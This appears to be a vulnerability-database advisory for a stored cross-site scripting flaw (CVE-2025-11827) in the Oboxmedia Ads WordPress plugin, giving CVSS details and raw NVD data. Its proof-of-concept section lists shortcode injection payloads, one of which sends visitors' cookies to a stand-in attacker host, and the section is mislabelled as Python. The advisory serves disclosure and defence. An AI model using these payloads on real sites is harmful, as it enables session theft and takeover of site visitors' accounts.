Security Vulnerability Report
中文
CVE-2025-11827 CVSS 6.4 MEDIUM

CVE-2025-11827

Published: 2025-10-22 09:15:34
Last Modified: 2026-04-15 00:35:42

Description

The Oboxmedia Ads plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'before_widget' and 'after_widget' parameters of the oboxads-ad-widget shortcode in all versions up to, and including, 1.9.8. This is due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Oboxmedia Ads for WordPress <= 1.9.8

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-11827 PoC - Stored XSS in Oboxmedia Ads Plugin Vulnerable parameters: before_widget and after_widget Shortcode: oboxads-ad-widget Required privilege: Contributor level or above --> <!-- Method 1: Inject malicious script via before_widget parameter --> [oboxads-ad-widget before_widget="<script>alert('XSS-Via-before_widget');</script>"] <!-- Method 2: Inject malicious script via after_widget parameter --> [oboxads-ad-widget after_widget="<script>alert('XSS-Via-after_widget');</script>"] <!-- Method 3: Combined injection for cookie stealing (for demonstration only) --> [oboxads-ad-widget before_widget="<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>"] <!-- Method 4: Using event handlers --> [oboxads-ad-widget before_widget='" onmouseover="alert(1)"'] <!-- Method 5: Using img tag with onerror --> [oboxads-ad-widget after_widget="<img src=x onerror=alert(document.domain)>"]

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11827", "sourceIdentifier": "[email protected]", "published": "2025-10-22T09:15:34.363", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Oboxmedia Ads plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'before_widget' and 'after_widget' parameters of the oboxads-ad-widget shortcode in all versions up to, and including, 1.9.8. This is due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/oboxmedia-ads/tags/1.9.8/includes/oboxads-ad-widget.php#L156", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/oboxmedia-ads", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/1d8b79cc-287e-420b-8eb8-6345a62e9fb9?source=cve", "source": "[email protected]"}]}}